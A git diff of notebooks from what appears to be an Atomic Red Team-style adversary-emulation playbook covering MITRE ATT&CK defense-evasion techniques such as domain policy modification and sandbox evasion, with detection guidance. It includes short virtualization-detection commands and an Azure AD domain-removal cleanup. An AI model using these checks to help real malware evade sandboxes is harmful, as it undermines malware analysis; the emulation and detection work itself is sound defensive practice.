\"bruce.wayne@contosocloud.com\", $Pword\n Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n Remove-AzureADDomain -Name \"contoso.com\" -ErrorAction Ignore\n} catch {}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b33e4071", + "id": "3ad8e2f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "b1f095bc", + "id": "5dd8be32", "metadata": {}, "source": "## Detection\nMonitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1484.ipynb b/playbook/tactics/defense-evasion/T1484.ipynb index 3868bdd4..10b87609 100644 --- a/playbook/tactics/defense-evasion/T1484.ipynb +++ b/playbook/tactics/defense-evasion/T1484.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "1d17af07", + "id": "35852300", "metadata": {}, "source": "# T1484 - Domain Policy Modification\nAdversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators." }, { "cell_type": "markdown", - "id": "7f050148", + "id": "26c9cb1e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a8da0c1b", + "id": "28c2ff48", "metadata": {}, "source": "## Detection\nIt may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)" }, { "cell_type": "markdown", - "id": "60f9ab52", + "id": "708367f2", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to deploy a tripwire that triggers an alert when an adversary touches a network resource or uses a specific technique.\n#### Use Case\nA defender could monitor for directory service changes using Windows event logs. This can alert to the presence of an adversary in the network.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1497.001.ipynb b/playbook/tactics/defense-evasion/T1497.001.ipynb index 42aa7c32..fc53b0a9 100644 --- a/playbook/tactics/defense-evasion/T1497.001.ipynb +++ b/playbook/tactics/defense-evasion/T1497.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a768a8af", + "id": "f97ecc53", "metadata": {}, "source": "# T1497.001 - System Checks\nAdversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)" }, { "cell_type": "markdown", - "id": "8e33df2f", + "id": "0d2adb68", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "89c14383", + "id": "cbd3d1f8", "metadata": {}, "source": [ "### Atomic Test #1 - Detect Virtualization Environment (Linux)", @@ -28,17 +28,38 @@ { "cell_type": "code", "execution_count": null, - "id": "4a693260", + "id": "c8b81fec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1497.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6dbbe839", + "id": "3630c47f", "metadata": {}, "source": [ - "### Atomic Test #2 - Detect Virtualization Environment (Windows)", + "### Atomic Test #2 - Detect Virtualization Environment (FreeBSD)", + "Detects execution in a virtualized environment.\nAt boot, dmesg stores a log if a hypervisor is detected.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nif [ \"$(sysctl -n hw.hv_vendor)\" != \"\" ]; then echo \"Virtualization Environment detected\"; fi\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "edacc4cd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "25c348a0", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Detect Virtualization Environment (Windows)", "Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -49,31 +70,31 @@ { "cell_type": "code", "execution_count": null, - "id": "c96dc98a", + "id": "b3b5f595", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 2" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "759de567", + "id": "355d7d1a", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$error.clear()\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1aac0701", + "id": "217cb1af", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "53eabfec", + "id": "70163e6e", "metadata": {}, "source": [ - "### Atomic Test #3 - Detect Virtualization Environment (MacOS)", + "### Atomic Test #4 - Detect Virtualization Environment (MacOS)", "ioreg contains registry entries for all the device drivers in the system. If it's a virtual machine, one of the device manufacturer will be a Virtualization Software.\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -84,17 +105,17 @@ { "cell_type": "code", "execution_count": null, - "id": "2aede05a", + "id": "cbcd24bd", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 3" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "4a594d50", + "id": "e4e2dfaf", "metadata": {}, "source": [ - "### Atomic Test #4 - Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)", + "### Atomic Test #5 - Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)", "Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. \n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -105,14 +126,14 @@ { "cell_type": "code", "execution_count": null, - "id": "06bf217f", + "id": "be00794d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 4" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "3775ddd9", + "id": "da8f546d", "metadata": {}, "source": "## Detection\nVirtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection." } @@ -120,13 +141,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1497.002.ipynb b/playbook/tactics/defense-evasion/T1497.002.ipynb index 117747f4..b17bcc1f 100644 --- a/playbook/tactics/defense-evasion/T1497.002.ipynb +++ b/playbook/tactics/defense-evasion/T1497.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0fc031f7", + "id": "95afb1e1", "metadata": {}, "source": "# T1497.002 - User Activity Based Checks\nAdversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) " }, { "cell_type": "markdown", - "id": "d641273d", + "id": "b1d1721f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "602056e0", + "id": "301782b5", "metadata": {}, "source": "## Detection\nUser activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1497.003.ipynb b/playbook/tactics/defense-evasion/T1497.003.ipynb index 0ac31b6d..6748609a 100644 --- a/playbook/tactics/defense-evasion/T1497.003.ipynb +++ b/playbook/tactics/defense-evasion/T1497.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "781afaa7", + "id": "3d230abc", "metadata": {}, "source": "# T1497.003 - Time Based Evasion\nAdversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)" }, { "cell_type": "markdown", - "id": "14106543", + "id": "3ba9c4aa", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2f5c2321", + "id": "1614fb09", "metadata": {}, "source": "## Detection\nTime-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1497.ipynb b/playbook/tactics/defense-evasion/T1497.ipynb index 9df8facd..4b5243d2 100644 --- a/playbook/tactics/defense-evasion/T1497.ipynb +++ b/playbook/tactics/defense-evasion/T1497.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "1c6b4860", + "id": "d18d7798", "metadata": {}, "source": "# T1497 - Virtualization/Sandbox Evasion\nAdversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n" }, { "cell_type": "markdown", - "id": "a9e498ea", + "id": "6f24baa8", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "64f118d9", + "id": "fa2d0668", "metadata": {}, "source": "## Detection\nVirtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection." }, { "cell_type": "markdown", - "id": "eae5daff", + "id": "ffc4fdbd", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to deploy virtual decoy systems and see if an adversary discovers or reacts to the virtualization.\n#### Use Case\nA defender can deploy a virtual decoy system to see if the adversary recognizes the virtualization and reacts.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1500.ipynb b/playbook/tactics/defense-evasion/T1500.ipynb deleted file mode 100644 index 0e3117d2..00000000 --- a/playbook/tactics/defense-evasion/T1500.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "301b4606", - "metadata": {}, - "source": "# T1500 - Compile After Delivery\nAdversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n" - }, - { - "cell_type": "markdown", - "id": "eef24c04", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2436a3ac", - "metadata": {}, - "source": "## Detection\nMonitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1502.ipynb b/playbook/tactics/defense-evasion/T1502.ipynb deleted file mode 100644 index 9dbeb060..00000000 --- a/playbook/tactics/defense-evasion/T1502.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "66a523c7", - "metadata": {}, - "source": "# T1502 - Parent PID Spoofing\nAdversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)" - }, - { - "cell_type": "markdown", - "id": "80bf1b76", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "a7afeb81", - "metadata": {}, - "source": "## Detection\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1506.ipynb b/playbook/tactics/defense-evasion/T1506.ipynb deleted file mode 100644 index 428203a1..00000000 --- a/playbook/tactics/defense-evasion/T1506.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "dc7b34d9", - "metadata": {}, - "source": "# T1506 - Web Session Cookie\nAdversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) " - }, - { - "cell_type": "markdown", - "id": "c57a5304", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bdf0a83d", - "metadata": {}, - "source": "## Detection\nMonitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1527.ipynb b/playbook/tactics/defense-evasion/T1527.ipynb deleted file mode 100644 index 8fa52638..00000000 --- a/playbook/tactics/defense-evasion/T1527.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "02568834", - "metadata": {}, - "source": "# T1527 - Application Access Token\nAdversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n" - }, - { - "cell_type": "markdown", - "id": "cc9d866c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "d486f9ce", - "metadata": {}, - "source": "## Detection\nMonitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1535.ipynb b/playbook/tactics/defense-evasion/T1535.ipynb index c1912062..8731e7d5 100644 --- a/playbook/tactics/defense-evasion/T1535.ipynb +++ b/playbook/tactics/defense-evasion/T1535.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "0e86eace", + "id": "d5ff46d0", "metadata": {}, "source": "# T1535 - Unused/Unsupported Cloud Regions\nAdversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other 